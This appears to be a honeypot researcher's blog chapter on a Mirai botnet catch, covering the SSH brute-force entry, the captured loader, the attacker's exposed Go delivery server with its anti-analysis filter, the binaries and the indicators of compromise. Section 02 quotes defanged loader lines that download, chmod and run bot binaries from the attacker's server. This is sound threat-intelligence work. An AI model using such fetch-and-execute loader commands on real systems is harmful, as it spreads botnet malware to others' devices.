Mirai · Chapter 3
The botnet that left its code out in the open
Another one walks in and drops its critter. But this one left a door open on its own delivery server — and inside was the source code. A multi-architecture Mirai, caught red-handed.
A new family in the trap. After the two chapters on XorDDoS, this time a Mirai came in — the other great lineage of IoT botnets. The infection sequence is a sibling of the last one, but with a twist: the attacker left the source code of his own server out in the open. An OPSEC gift you don't turn down.
This chapter is the hunt: how it got in, what it dropped, and what I found when I pulled the thread all the way back to its delivery box. The teardown of the binary — the bot itself — is in Chapter 4.
01The catch
A bot again, not a person. It came in by brute force and acted in under a second, without poking around.
The three steps below carry the same timestamp: they all happened within the same tenth of a second. That's the giveaway — no hand types three commands in a hundred milliseconds.
- 0.0sComes in over SSH with a dictionary credential (root). The trap opens up for it.
- Fingerprints the architecture: fires off uname -s -v -n -m and peeks at /proc/version and /etc/os-release. It needs to know what CPU the victim has.
- cd /tmp → downloads a script called ok (wget and curl, in case one fails) → sh ok → rm -rf ok ok.1.
That ok is a loader: it isn't the bot, it's what brings the bot in. I captured it whole.
02The loader, laid bare
Twelve lines, identical except for a name. Each one downloads a binary, gives it permissions, runs it with an argument (bc) and deletes it:
# (12 lines, one per CPU architecture)
wget hxxp://5.182.210[.]174/58bab5; curl -O hxxp://5.182.210[.]174/58bab5
chmod 777 58bab5; ./58bab5 bc; rm -rf 58bab5 58bab5.1
# ...ae754a, 36393a, 6e45aa, fbbca4, f367ae, ab0d64, 1f62ce...Three things worth saying about this piece:
- It tries all 12 architectures. It fires off all twelve binaries; only the one that matches the victim's CPU runs, the rest fail silently. Covering ARM, MIPS, x86, PowerPC, SPARC… is how one and the same bot infects everything from a camera to a server.
- Rotating names. Every time ok is requested, it brings different filenames (6 random hex chars). Like the gibberish from Chapter 1, but taken to the server: blocking by name is useless.
- The bc tag. The argument each binary is run with is the campaign identifier the bot will report back to its control server — it tells it which campaign it came from.
The wget and the curl on the same line are a belt-and-braces move: if the box doesn't have one, it has the other. And the .1 in the deletion cleans up the duplicate that curl -O leaves behind when wget has already grabbed the file. Little touches from someone who has watched their script fail on oddball machines.
03The server that left its door open
The ok points everything at one server: 5.182.210[.]174. I went to take a look — read-only, touching nothing — and found the root wide open as a directory listing. There were the binaries… and two files that shouldn't have been there: http and http.go. The attacker had left the source code of his own delivery server out in plain sight.
It's a FileServer written in Go (its 404 — "404 page not found" — is the unmistakable fingerprint of net/http). Short, functional, and with one telling detail: an anti-snooper filter.
// Permite apenas requisições de wget e curl
if !strings.HasPrefix(userAgent, "curl") &&
!strings.HasPrefix(userAgent, "Wget") &&
!strings.HasPrefix(userAgent, "axel") {
blockedIPs[clientIP] = time.Now().Add(10 * time.Minute)
blockIP(clientIP) // iptables -A INPUT -s IP -j DROP
http.Error(w, "403 Forbidden", http.StatusForbidden)
}It only serves the malware to whoever presents as wget, curl or axel. Anyone else — a browser, a scanner, a researcher — it drops into iptables and bans for 10 minutes. It's a deliberate defense against analysis: they want only their victims to reach the files.
04The specimen
Twelve binaries, one per architecture, the typical size of an IoT bot. I wrote here that they were all static, stripped ELFs, no symbols. Ten of them are. Two aren't. I found out going back over the batch with a file — which is the first thing you should do, and which I'd done on three binaries instead of on all twelve.
One of them, 44,744 bytes, isn't static: it's dynamically linked against uClibc, so it depends on finding its libraries on whatever machine it lands. The other weighs 123,851 bytes, more than double its siblings, and for a specific reason: it isn't stripped. It still carries the debug information the rest had taken out.
And here's the part that stings, because the evidence was published from day one: the card just below says 44 KB – 124 KB. Those two ends are exactly those two binaries. The range I published myself was already saying the batch wasn't uniform. It just needed reading.
That one slipped through half-cleaned is an oversight on their part. And it handed me the best thing in this chapter.
A binary that hasn't been stripped keeps the paths of the machine it was built on. These:
/home/landley/aboriginal/aboriginal/build/temp-armv7l/gcc-core/gcc/config/arm/lib1funcs.asm
/home/landley/aboriginal/aboriginal/build/simple-cross-compiler-armv7l/bin/../cc/includeAboriginal Linux is a set of cross-compilers by Rob Landley — and it's exactly the one that shipped with the Mirai source code when it leaked in 2016. That isn't an antivirus label or a string coincidence: it's the mark of the workshop where this batch was made, and it comes straight out of the binary.
Mirai · "milnetv4" variant
- Type
- ELF · 10 static and stripped · 1 dynamic (uClibc) · 1 with symbols · 12 architectures
- Size
- 44 KB – 124 KB
- Packing
- none (UPX ruled out)
- Function
- DDoS bot (multi-vector, C2-driven)
- C2
- kappadocia.net / 141.98.10.50 (in strings; the rest of the config, encrypted)
- SHA-256 (x86-64)
- bf0aabf517685756f16b22f4b1907113a1cd160fa7b5ee384cb554b42b311841
The spread of CPUs covered — the whole reason the multi-architecture loader exists:
| Architecture | Size | SHA-256 |
|---|---|---|
| x86-64 | 50,176 B | bf0aabf517685756f16b22f4b1907113a1cd160fa7b5ee384cb554b42b311841 |
| ARM | 52,496 B | 8bdbe21eafc7223a75ea9d075237d389e0c39f6370721f1ea36214989e5bab63 |
| MIPS (BE) | 67,496 B | 5c502903694591a219ca263247c4c159967c5838c9a85641f3fb908b983d1e32 |
| MIPS (LE) | 68,632 B | a75a98641037e42abb4c543d90e81dafdae3b27e90972b705a2e9242a5bee123 |
| PowerPC | 50,092 B | 9d44d4d051f6aa3fbc95fab0aae818347a602d655fa7f1fba6267e728d7ff2d3 |
| SPARC | 54,596 B | abda6887930f4e2e1047b39adf23bbf8bdee9e15c7e2101245bb690be7d80488 |
| Motorola m68k | 50,780 B | 3366350561c41f5d15994244bfd7358ca256d16a1e954d7a986bd4d2d50c895e |
| Renesas SH | 46,288 B | 41ac975aa0638b879bade9f672fbcdacb303bc6ceb5e92083b85af9cd440cd04 |
(The table lists one representative per CPU family: eight rows for the twelve binaries. The extra variants —some architectures, like ARM, come in several— are left out, though the size range in the spec sheet covers them all.) In their strings, the C2 already shows up in the clear (kappadocia.net, 141.98.10.50) — but the rest of its configuration and all its orders are encrypted. That's the job for the next chapter.
05Indicators (IOCs)
| Type | Value |
|---|---|
| Attacker IP (loader) | 45.198.224.26 |
| Delivery server | hxxp://5.182.210[.]174 (Go FileServer) |
| Bot C2 | kappadocia.net · 141.98.10.50 |
| Campaign identifier | "bc" argument |
| Server filter | only UA curl / Wget / axel · rest → iptables DROP 10 min |
| SHA-256 (x86-64) | bf0aabf517685756f16b22f4b1907113a1cd160fa7b5ee384cb554b42b311841 |
To be continued — the bot keeps its C2 and its orders under lock and key. In Chapter 4 I crack it open with Ghidra: the decryption, the botnet's real name and its full arsenal. 🍯
Comments